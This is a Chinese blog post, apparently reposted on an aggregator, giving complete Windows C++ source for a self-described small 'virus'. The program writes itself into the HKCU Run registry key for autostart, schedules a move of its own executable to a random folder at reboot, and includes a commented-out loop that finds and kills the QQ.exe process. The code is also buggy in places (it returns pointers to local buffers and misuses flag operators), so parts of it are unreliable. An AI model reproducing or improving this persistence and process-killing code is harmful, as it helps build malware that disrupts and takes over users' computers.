实习随手记--破产版小病毒

来源:互联网 发布:ubuntu 火狐打不开网页 编辑:程序博客网 时间:2024/04/28 20:22

程序设计:

实现每次开机自动启动的病毒程序,并且开机随机转移自己的文件位置,病毒程序要求检测到QQ运行后 强制退出程序。

<用的是MoveFileEx,程序需要管理员权限才能重启移动成功,所以第二次就不能自己动了>

#include<stdio.h>
#include <stdlib.h> 
#include<io.h>
#include<wchar.h>  
#include<locale.h>  
#include<windows.h>  
#include<TLHELP32.H>// 声明快照函数的头文件  
#include<tchar.h>
#include<conio.h>
#include<stddef.h>
#include<iostream>
#include<cstring>
#include <time.h> 
using namespace std;


//LPTSTR Oldpath;
LPTSTR arry[10]; //存放目录字符串的地址
int Num = 0; //存放目录下标


//程序运行时杀QQ
int killProcess(WCHAR* ProcessName)
{
int flag;
HANDLE   hSnapShot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == 0)
return 0;


PROCESSENTRY32   thePE;
thePE.dwSize = sizeof(PROCESSENTRY32);


bool   Status = Process32First(hSnapShot, &thePE);//正在运行的第一个系统进程
bool   bHaveFlag = false;
DWORD  ProcessID = 0;


while (Status)//遍历
{
//遍历正在运行的下一个系统进程 
Status = Process32Next(hSnapShot, &thePE);


if (0 == wcscmp(thePE.szExeFile, ProcessName))//找到相应的进程 **.exe
{
bHaveFlag = true;
ProcessID = thePE.th32ProcessID;//获取结束进程的 ProcessID


if (!TerminateProcess(OpenProcess(PROCESS_TERMINATE || PROCESS_QUERY_INFORMATION, false, ProcessID), 0))
{
//MessageBox(NULL, L"无法终止指定的进程!", NULL, NULL);
return 1;
}
return 2;//可以终止
}
}


CloseHandle(hSnapShot);
return 3;
}




//重启动后从当前位置移动到随机位置
//1.获取自己的当前位置
//2.生成随机位置
//3.移动
wchar_t* cTOw(const char* pchar)
{
DWORD dcNum = MultiByteToWideChar(CP_ACP, 0, pchar, -1, NULL, 0);//计算这个GB2312实际有几个字节组成
wchar_t* pwname;
pwname = new wchar_t[dcNum];
if (!pwname)
{
delete[] pwname;
}
MultiByteToWideChar(CP_ACP, 0, pchar, -1, pwname, dcNum);//把GB2312变成UNICODE:sText  ->  pwText
wchar_t* p = pwname;
return p;
delete[] pwname;
}


//获取自己的当前当前运行程序的全路径位置
LPTSTR GetCurrent()
{
TCHAR exeFullPath[MAX_PATH]; // MAX_PATH
GetModuleFileName(NULL, exeFullPath, MAX_PATH);//得到程序模块名称,全路径,也就是当前运行程序的全路径。
//MessageBox(NULL, exeFullPath, NULL, NULL);//如:"d:\我的文档\Visual Studio 2005\Projects\test\Debug\test.exe" 
return exeFullPath;
}


//深度遍历目标的目录路径,并为目录名建立指针数组
//http://www.cnblogs.com/chenkunyun/archive/2012/03/24/2415727.html
void TraverseFolder(LPCTSTR lpPath)
{
TCHAR szFind[50] = { _T("\0") };

     WIN32_FIND_DATA findFileData;
BOOL bRet;
_tcscpy_s(szFind, 50, lpPath);
_tcscat_s(szFind, _T("\\*.*"));     //这里一定要指明通配符,不然不会读取所有文件和目录


HANDLE hFind = ::FindFirstFile(szFind, &findFileData);


if (INVALID_HANDLE_VALUE == hFind)
{
return;
}


//遍历文件夹
while (TRUE)
{
if (findFileData.cFileName[0] != _T('.'))//过滤当前路径或者父目录的快捷方式,只剩下文件和目录
{


if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)//判断是什么
{//这是一个普通目录
//设置下一个将要扫描的文件夹路径
_tcscpy_s(szFind, 50, lpPath);
_tcscat_s(szFind, _T("\\"));
_tcscat_s(szFind, findFileData.cFileName);

//继续深度遍历该目录
TraverseFolder(szFind);
}


//是文件就不用再管了
}

//寻找下一个目录或者文件
bRet = ::FindNextFile(hFind, &findFileData);

if (!bRet)//目录遍历完,可以返回此时的目录的路径,跳出while关闭该目录
{
arry[Num] = new  TCHAR[30];
memset(arry[Num],0, sizeof(TCHAR)* 30);
lstrcpy(arry[Num], lpPath);
Num++;
break;
}
}
::FindClose(hFind);//关闭该目录
}




//生成随机的目标文件位置
LPTSTR CreatRandom()
{

srand((unsigned)time(NULL)); //时间种子有这个可以让每次运行程序产生的随机数不同
int select = rand()%2;


TCHAR buff[50] = { _T("\0") };
_tcscpy_s(buff,arry[select]);
_tcscat_s(buff, _T("\\bingdutest.exe"));//得到更改后的文件全名称路径


return buff;
}
//为重启位置创建注册表
void creatReg(LPTSTR NewPos)
{
HKEY hKey;
LPTSTR lpszSubKey = TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
LONG pret = RegOpenKeyEx(HKEY_CURRENT_USER, lpszSubKey, 0, KEY_ALL_ACCESS, &hKey);//打开自启动注册表处的子健


if (pret == ERROR_SUCCESS)
{
// 打开成功
//MessageBox(NULL, L"子键打开成功", L"提示", MB_OK);
RegDeleteValue(hKey,TEXT("bingdutest"));//先删除原来的value,

TCHAR szTest[100];
wcsncpy(szTest, NewPos, 100);//填写自己创建子健的value数据<------ 获取生成的随机路径
int iLen = wcslen(szTest);
RegSetValueEx(hKey, TEXT("bingdutest"), 0, REG_SZ, (LPBYTE)szTest, sizeof(TCHAR)*iLen);//“bingdutest”是创建子健的value名称<<
}
RegCloseKey(hKey);//关闭子键
}


//重启时从原路径移动到目标路径
void RestartMove(LPTSTR NewPos)
{
//Oldpath = (LPTSTR)malloc(sizeof(TCHAR) * 60);
//memset(Oldpath, 0, sizeof(TCHAR) * 60);
//lstrcpy(Oldpath, GetCurrent());//得到当前位置


TCHAR Oldpath[60] = { _T("\0") };
GetModuleFileName(NULL, Oldpath, MAX_PATH);//得到程序模块名称,全路径,也就是当前运行程序的全路径。


if (
MoveFileEx(
Oldpath,  // 源文件名,指向一个以零结尾的字符串的指针。  
NewPos,  // 把原文件(目录)更改成的文件(目录)名,必须写移动后的全路径。  
MOVEFILE_DELAY_UNTIL_REBOOT // 移动标记,见定义  
     )
)


MessageBox(NULL, L"重启时将移动文件", L"test", MB_OK);


else
MessageBox(NULL, L"重启移动操作失败", L"test", MB_OK);


return;
}




void FreeSpace()//释放开辟的空间
{
for (int i = 0; i < 10; i++)
{
delete[]arry[i];
arry[i] = NULL;
}
return;
}


int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInatance,
LPSTR lpCmdLine,
int nCmdShow
)
{
//MessageBox(NULL, L"Ready ?", L"WARNING", NULL);
setlocale(LC_ALL, "chs");


TraverseFolder(_T("F:\\a"));//先遍历某处文件夹,标号


LPTSTR NewPos = new  TCHAR[60];
memset(NewPos, 0, sizeof(TCHAR) * 60);
lstrcpy(NewPos, CreatRandom());//得到将要下次重启的移动位置


creatReg(NewPos);//创建新目标位置的注册表value
RestartMove(NewPos);//下次启动移动位置


delete[]NewPos;
NewPos = NULL;
FreeSpace();//释放开辟的空间
//MessageBox(NULL, L"GO !", L"WARNING", NULL);
//执行阻止进程操作
/*====不知道怎么写一个可以一直运行的程序,所以定义了一段时间就自己把这个控制台程序停止=== 

int k=GetTickCount();

while (GetTickCount()<k+1800000)
{
int flag;

WCHAR ws[] = L"QQ.exe";
flag = killProcess(ws);


if (flag == 1)
MessageBox(NULL, L"Can't Over!", L"WARNING", NULL);
else if (flag == 2)
{
MessageBox(NULL, L"OVER!", L"WARNING", NULL);
break;
}
else if (flag == 3)
MessageBox(NULL, L"NO FIND!", L"WARNING", NULL);
}
*/

return 0;
}

原创粉丝点击